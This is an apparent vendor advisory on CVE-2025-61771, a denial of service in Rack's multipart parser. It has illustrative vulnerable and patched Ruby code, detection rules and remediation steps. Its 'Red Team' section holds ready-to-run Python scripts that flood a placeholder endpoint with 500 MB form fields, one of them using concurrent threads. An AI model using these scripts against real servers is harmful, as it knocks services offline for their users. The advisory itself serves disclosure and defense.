CVE-2025-61771
Executive Summary
CVE-2025-61771 is a high-severity Denial of Service (DoS) vulnerability in the Rack Ruby web server interface, affecting all versions prior to 2.2.19, 3.1.17, and 3.2.2. The flaw resides in Rack::Multipart::Parser, which stores non-file form fields entirely in memory as Ruby String objects without size limits. An attacker can send a single large text field (hundreds of megabytes or more) in a multipart/form-data request, causing excessive memory consumption, out-of-memory (OOM) conditions, and worker crashes. The vulnerability is remotely exploitable with no authentication required, and impact scales with request size and concurrency. The official patch introduces a 2 MiB cap for non-file fields.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Rack gem, a core dependency in the Ruby ecosystem used by frameworks like Ruby on Rails, Sinatra, and others. Organizations using Rack in production environments are at risk. The supply chain impact is significant because Rack is a transitive dependency for thousands of Ruby applications. Attackers could exploit this vulnerability to cause widespread service disruption across multiple applications if a shared Rack version is compromised. The patch is available via the official RubyGems repository, and immediate upgrade is recommended.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
Threat Level: High. The vulnerability is easily exploitable remotely without authentication, and successful exploitation results in complete denial of service. The EPSS score of 0.0% suggests low current exploitation activity, but the high CVSS score and ease of exploitation make it a prime target for automated attacks.
Deep Dive & Mechanics
The vulnerability is rooted in the Rack::Multipart::Parser class, which processes multipart/form-data requests. In multipart parsing, each part is either a file (with a filename parameter) or a non-file field (without a filename parameter). The parser stores non-file fields entirely in memory as Ruby String objects. There is no size limit on these fields, allowing an attacker to send a single large text field (e.g., hundreds of megabytes) in a single request.
When the server receives such a request, the parser reads the entire field into memory, causing the Ruby process's memory footprint to balloon. This can lead to:
- Out-of-Memory (OOM) conditions: The operating system kills the Ruby process.
- Severe garbage-collection overhead: The Ruby garbage collector struggles to manage large strings, causing CPU spikes and latency.
- Worker crashes: In multi-threaded or multi-process servers (e.g., Puma, Unicorn), one worker can crash, and if multiple requests are sent concurrently, all workers can be exhausted.
The attack is simple: send a POST request with Content-Type: multipart/form-data and a single large non-file field. The impact scales linearly with the size of the field and the number of concurrent requests.
Vulnerable vs. Patched Code
Vulnerable Code (Rack < 2.2.19, < 3.1.17, < 3.2.2):
# In Rack::Multipart::Parser
def parse_part(part, headers)
if filename = headers['content-disposition']&.filename
# File handling (not vulnerable)
else
# Non-file field: stored entirely in memory
@params[name] = part.body.read
end
end
Patched Code (Rack >= 2.2.19, >= 3.1.17, >= 3.2.2):
# In Rack::Multipart::Parser
MAX_NONFILE_FIELD_SIZE = 2 * 1024 * 1024 # 2 MiB
def parse_part(part, headers)
if filename = headers['content-disposition']&.filename
# File handling (unchanged)
else
# Non-file field: enforce size cap
value = part.body.read(MAX_NONFILE_FIELD_SIZE + 1)
if value.bytesize > MAX_NONFILE_FIELD_SIZE
raise Rack::Multipart::TooLargeFieldError, "Non-file field too large"
end
@params[name] = value
end
end
The patch introduces a MAX_NONFILE_FIELD_SIZE constant (2 MiB) and reads only up to that limit. If the field exceeds the limit, an exception is raised, preventing memory exhaustion.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running a vulnerable Rack version (e.g., Ruby on Rails app).
- Network access to the target.
Exploit Script (Python):
import requests
target_url = "http://target.com/upload"
# Create a large non-file field (e.g., 500 MB)
large_field = "A" * (500 * 1024 * 1024) # 500 MB
# Craft multipart form data
files = {
'large_field': (None, large_field, 'text/plain')
}
# Send the request
try:
response = requests.post(target_url, files=files, timeout=30)
print(f"Status: {response.status_code}")
except requests.exceptions.Timeout:
print("Request timed out - server may be unresponsive")
except Exception as e:
print(f"Error: {e}")
Usage:
- Install Python and the
requestslibrary. - Replace
target_urlwith the actual endpoint that processes multipart forms. - Run the script. The server may become unresponsive or crash.
Concurrency Attack (for greater impact):
import requests
from concurrent.futures import ThreadPoolExecutor
target_url = "http://target.com/upload"
large_field = "A" * (500 * 1024 * 1024) # 500 MB
def send_request():
files = {'large_field': (None, large_field, 'text/plain')}
try:
requests.post(target_url, files=files, timeout=10)
except:
pass
with ThreadPoolExecutor(max_workers=10) as executor:
for _ in range(10):
executor.submit(send_request)
Blue Team (Defense & Detection)
Detection:
- Monitor for unusually large POST requests with
Content-Type: multipart/form-data. - Alert on requests where the body size exceeds a threshold (e.g., 10 MB).
- Use web application firewall (WAF) rules to block requests with non-file fields larger than 2 MiB.
Mitigation:
- Apply the patch immediately by upgrading Rack to version 2.2.19, 3.1.17, or 3.2.2.
- As a workaround, restrict maximum request body size at the web server or proxy layer (e.g., Nginx
client_max_body_size 10m;). - Validate and reject unusually large form fields at the application level using middleware.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests with
Content-Type: multipart/form-dataand body size > 10 MB. - Requests containing a single non-file field with size > 2 MiB.
- Repeated requests from the same IP address targeting multipart endpoints.
- HTTP POST requests with
System IOCs:
- Ruby process memory usage spiking to > 500 MB.
- OOM killer logs in
/var/log/kern.logordmesg. - Worker processes crashing with
OutOfMemoryErrororSignalException: SIGKILL. - High garbage collection activity in Ruby (GC logs showing long pauses).
Application Logs:
Rack::Multipart::TooLargeFieldErrorexceptions (after patching).NoMemoryErrorexceptions in application logs.
Detection Engineering
YARA Rule
rule CVE_2025_61771_Rack_Multipart_DoS {
meta:
description = "Detects exploitation attempts of CVE-2025-61771 via large multipart form fields"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-61771"
severity = "high"
strings:
$multipart_header = "Content-Type: multipart/form-data"
$large_field = /Content-Disposition: form-data; name="[^"]*"\r\n\r\n[A-Za-z0-9+/]{100000,}/ // Field > 100k bytes
condition:
$multipart_header and #large_field > 0
}
Sigma Rule
title: CVE-2025-61771 Rack Multipart DoS Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with large multipart form fields targeting Rack applications
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-61771
logsource:
category: webserver
product: generic
detection:
selection:
http.method: POST
http.content_type: multipart/form-data
http.body_size: '>10000000' # >10 MB
condition: selection
falsepositives:
- Legitimate large file uploads (but these have filename parameter)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61771 Rack Multipart DoS Exploitation"; flow:to_server; content:"POST"; http_method; content:"multipart/form-data"; http_content_type; content:"Content-Disposition: form-data; name="; http_client_body; pcre:"/Content-Disposition: form-data; name="[^"]*"\r\n\r\n.{100000,}/"; threshold:type both, track by_src, count 1, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Rack: Update to version 2.2.19, 3.1.17, or 3.2.2 immediately.
- For Ruby on Rails:
bundle update rack - For Sinatra:
gem update rack
- For Ruby on Rails:
- Restrict Request Body Size: Configure your web server or reverse proxy to limit maximum request body size.
- Nginx:
client_max_body_size 10m; - Apache:
LimitRequestBody 10485760(10 MB)
- Nginx:
- Implement Application-Level Validation: Add middleware to reject requests with non-file fields exceeding 2 MiB.
Long-Term Measures:
- Monitor for unusual traffic patterns using the detection rules above.
- Implement rate limiting on multipart endpoints.
- Conduct regular dependency audits with
bundle auditorgem audit. - Enable memory limits for Ruby processes (e.g., using
ulimitor container resource limits).
Workarounds (if patching is not immediately possible):
- Use a WAF to block requests with body size > 10 MB.
- Disable multipart parsing for endpoints that don't require file uploads.
Valters IT